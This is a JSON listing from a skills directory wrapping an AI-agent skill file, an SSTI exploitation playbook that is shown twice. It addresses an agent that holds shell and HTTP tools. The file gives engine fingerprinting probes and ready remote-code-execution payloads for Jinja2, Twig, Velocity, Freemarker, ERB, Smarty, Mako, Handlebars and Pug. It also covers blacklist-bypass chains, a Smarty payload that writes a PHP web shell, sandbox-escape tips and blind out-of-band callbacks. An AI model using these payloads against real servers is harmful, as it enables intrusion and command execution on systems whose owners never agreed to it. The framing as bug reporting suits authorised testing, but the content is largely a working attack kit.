[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ET88NXHA7EPA09T3450DZ4":3,"skill-same:01M7ET88NXHA7EPA09T3450DZ4":61},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M7ET88NXHA7EPA09T3450DZ4","ssti",null,"Server-Side Template Injection — fingerprint the engine first (Jinja2 \u002F Twig \u002F Velocity \u002F Freemarker \u002F ERB \u002F Smarty \u002F Mako \u002F Handlebars \u002F Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2\u002FTwig\u002FVelocity\u002FFreemarker\u002FERB\u002FSmarty\u002FMako\u002FHandlebars\u002FPug) or {{7*7}} evaluates to 49.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fssti\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ssti\ndescription: Server-Side Template Injection — fingerprint the engine first (Jinja2 \u002F Twig \u002F Velocity \u002F Freemarker \u002F ERB \u002F Smarty \u002F Mako \u002F Handlebars \u002F Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2\u002FTwig\u002FVelocity\u002FFreemarker\u002FERB\u002FSmarty\u002FMako\u002FHandlebars\u002FPug) or {{7*7}} evaluates to 49.\nallowed-tools:\n  - http\n  - shell\n  - read_payloads\n  - file_write\n---\n\n# SSTI playbook\n\nYou suspect user input is concatenated into a server-side template. The classic tell: `{{7*7}}` renders as `49` (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.\n\nExecution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`\u002Fcurl.\n\n## 1. Fingerprint the engine — fast\n\nUse `read_payloads(skill=\"ssti\", file=\"fingerprint-polyglot.txt\")` for the canonical multi-engine probe:\n\n```\n${7*7}\n{{7*7}}\n\u003C%= 7*7 %>\n*{7*7}\n{{7*'7'}}\n```\n\nCross-reference results:\n\n| Render result | Engine |\n|---|---|\n| `49` from `{{7*7}}` AND `7777777` from `{{7*'7'}}` | **Jinja2** (Python) |\n| `49` from `{{7*7}}` AND `49` from `{{7*'7'}}` | **Twig** (PHP) |\n| `49` from `${7*7}` | **Velocity** \u002F **Freemarker** \u002F Mako (probe further) |\n| `49` from `\u003C%= 7*7 %>` | **ERB** (Ruby) \u002F EJS (Node) |\n| `49` from `*{7*7}` | **Smarty** |\n| Output of `{{7*7}}` literally | Not an SSTI primitive — look elsewhere |\n\nDistinguish Velocity from Freemarker: `${\"foo\".getClass()}` returns `class java.lang.String` for both; **Freemarker** chokes on `\u003C#assign>` outside a template block; **Velocity** specifically renders `#set($x=7*7)$x` as `49`.\n\n## 2. Engine-specific exploitation\n\n### Jinja2 (Python, Flask)\n\n```\n{{ ''.__class__.__mro__[1].__subclasses__() }}\n```\n\nFind an index where the subclass is `\u003Cclass 'subprocess.Popen'>` (commonly 200–400). Then:\n\n```\n{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}\n```\n\nBypass blacklists with attribute proxies:\n\n```\n{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}\n```\n\nPayloads: `read_payloads(skill=\"ssti\", file=\"jinja2.txt\")`.\n\n### Twig (PHP, Symfony)\n\nTwig blocks most function access. Two proven escapes:\n\n```\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n```\n\n```\n{{['id']|filter('system')}}\n```\n\nOlder versions: `{{['id',1]|sort('passthru')}}`.\n\n### Velocity (Java, NVelocity)\n\n```\n#set($e=\"exp\")\n$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"id\")\n```\n\n### Freemarker (Java)\n\nBuilt-in `?eval`, or the classic exec gadget:\n\n```\n\u003C#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"id\")}\n```\n\n### ERB (Ruby)\n\n```\n\u003C%= `id` %>\n\u003C%= system(\"id\") %>\n\u003C%= IO.popen(\"id\").read %>\n```\n\n### Smarty (PHP)\n\n```\n{php}echo `id`;{\u002Fphp}    {# pre-3.1.30 #}\n{system('id')}           {# some forks #}\n```\n\nNewer Smarty: `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"\u003C?php system($_GET['c']);?>\",self::clearConfig())}`.\n\n### Mako (Python)\n\n```\n${self.module.cache.util.os.popen('id').read()}\n\u003C% import os; x=os.popen('id').read() %>${x}\n```\n\n### Handlebars (Node)\n\n```\n{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.push \"return require('child_process').execSync('id');\"}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push (lookup conslist.0 \"apply\")}}\n        {{this.apply 0 codelist}}\n      {{\u002Fwith}}\n    {{\u002Fwith}}\n  {{\u002Fwith}}\n{{\u002Fwith}}\n```\n\n### Pug \u002F Jade (Node)\n\n```\n#{ root.process.mainModule.require('child_process').execSync('id').toString() }\n```\n\n## 3. Sandbox escape thinking\n\nIf `{{7*7}}` works but exec is blocked:\n- Try filter chains and pipes that hand off through string types (Twig).\n- Try indirect-attribute access (`['__class__']` instead of `.__class__`).\n- Try Unicode escapes on the dangerous keyword (`{{ ''.__class__ }}`).\n- Read the engine's source for the relevant version — most \"sandboxes\" have a documented escape.\n\n## 4. Blind SSTI\n\nIf the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:\n- DNS callback via OS exec.\n- HTTP callback to an out-of-band listener.\n- Timing: render an expensive loop and measure response delay.\n\n## Reporting\n\nFor each finding include:\n- The exact input field where the payload landed.\n- The fingerprint output (`{{7*7}}` → `49` etc) — proves it's SSTI not arithmetic on the client.\n- An exec PoC (`id` output preferred) **OR**, if RCE is gated, a clear sensitive-data read (env vars, config file).\n- Engine + version inferred and from where.\n","# SSTI playbook\n\nYou suspect user input is concatenated into a server-side template. The classic tell: `{{7*7}}` renders as `49` (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.\n\nExecution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`\u002Fcurl.\n\n## 1. Fingerprint the engine — fast\n\nUse `read_payloads(skill=\"ssti\", file=\"fingerprint-polyglot.txt\")` for the canonical multi-engine probe:\n\n```\n${7*7}\n{{7*7}}\n\u003C%= 7*7 %>\n*{7*7}\n{{7*'7'}}\n```\n\nCross-reference results:\n\n| Render result | Engine |\n|---|---|\n| `49` from `{{7*7}}` AND `7777777` from `{{7*'7'}}` | **Jinja2** (Python) |\n| `49` from `{{7*7}}` AND `49` from `{{7*'7'}}` | **Twig** (PHP) |\n| `49` from `${7*7}` | **Velocity** \u002F **Freemarker** \u002F Mako (probe further) |\n| `49` from `\u003C%= 7*7 %>` | **ERB** (Ruby) \u002F EJS (Node) |\n| `49` from `*{7*7}` | **Smarty** |\n| Output of `{{7*7}}` literally | Not an SSTI primitive — look elsewhere |\n\nDistinguish Velocity from Freemarker: `${\"foo\".getClass()}` returns `class java.lang.String` for both; **Freemarker** chokes on `\u003C#assign>` outside a template block; **Velocity** specifically renders `#set($x=7*7)$x` as `49`.\n\n## 2. Engine-specific exploitation\n\n### Jinja2 (Python, Flask)\n\n```\n{{ ''.__class__.__mro__[1].__subclasses__() }}\n```\n\nFind an index where the subclass is `\u003Cclass 'subprocess.Popen'>` (commonly 200–400). Then:\n\n```\n{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}\n```\n\nBypass blacklists with attribute proxies:\n\n```\n{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}\n```\n\nPayloads: `read_payloads(skill=\"ssti\", file=\"jinja2.txt\")`.\n\n### Twig (PHP, Symfony)\n\nTwig blocks most function access. Two proven escapes:\n\n```\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n```\n\n```\n{{['id']|filter('system')}}\n```\n\nOlder versions: `{{['id',1]|sort('passthru')}}`.\n\n### Velocity (Java, NVelocity)\n\n```\n#set($e=\"exp\")\n$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"id\")\n```\n\n### Freemarker (Java)\n\nBuilt-in `?eval`, or the classic exec gadget:\n\n```\n\u003C#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"id\")}\n```\n\n### ERB (Ruby)\n\n```\n\u003C%= `id` %>\n\u003C%= system(\"id\") %>\n\u003C%= IO.popen(\"id\").read %>\n```\n\n### Smarty (PHP)\n\n```\n{php}echo `id`;{\u002Fphp}    {# pre-3.1.30 #}\n{system('id')}           {# some forks #}\n```\n\nNewer Smarty: `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"\u003C?php system($_GET['c']);?>\",self::clearConfig())}`.\n\n### Mako (Python)\n\n```\n${self.module.cache.util.os.popen('id').read()}\n\u003C% import os; x=os.popen('id').read() %>${x}\n```\n\n### Handlebars (Node)\n\n```\n{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.push \"return require('child_process').execSync('id');\"}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push (lookup conslist.0 \"apply\")}}\n        {{this.apply 0 codelist}}\n      {{\u002Fwith}}\n    {{\u002Fwith}}\n  {{\u002Fwith}}\n{{\u002Fwith}}\n```\n\n### Pug \u002F Jade (Node)\n\n```\n#{ root.process.mainModule.require('child_process').execSync('id').toString() }\n```\n\n## 3. Sandbox escape thinking\n\nIf `{{7*7}}` works but exec is blocked:\n- Try filter chains and pipes that hand off through string types (Twig).\n- Try indirect-attribute access (`['__class__']` instead of `.__class__`).\n- Try Unicode escapes on the dangerous keyword (`{{ ''.__class__ }}`).\n- Read the engine's source for the relevant version — most \"sandboxes\" have a documented escape.\n\n## 4. Blind SSTI\n\nIf the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:\n- DNS callback via OS exec.\n- HTTP callback to an out-of-band listener.\n- Timing: render an expensive loop and measure response delay.\n\n## Reporting\n\nFor each finding include:\n- The exact input field where the payload landed.\n- The fingerprint output (`{{7*7}}` → `49` etc) — proves it's SSTI not arithmetic on the client.\n- An exec PoC (`id` output preferred) **OR**, if RCE is gated, a clear sensitive-data read (env vars, config file).\n- Engine + version inferred and from where.\n",{"name":5,"description":7,"allowed-tools":24},[25,26,27,28],"http","shell","read_payloads","file_write","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fssti",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill ssti",{"tool":43,"command":44},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill ssti",{"tool":46,"command":47},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill ssti","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fssti\u002FSKILL.md",true,[51,57],{"path":52,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":56},"payloads\u002Ffingerprint-polyglot.txt","REFERENCE","参考文档",1366,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fssti\u002Fpayloads\u002Ffingerprint-polyglot.txt",{"path":58,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":59,"sourceHtmlUrl":60},"payloads\u002Fjinja2.txt",1243,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fssti\u002Fpayloads\u002Fjinja2.txt",[62,70,75,82,89,96],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":69},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":71,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":69},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":69},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":69},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":69},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":69},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]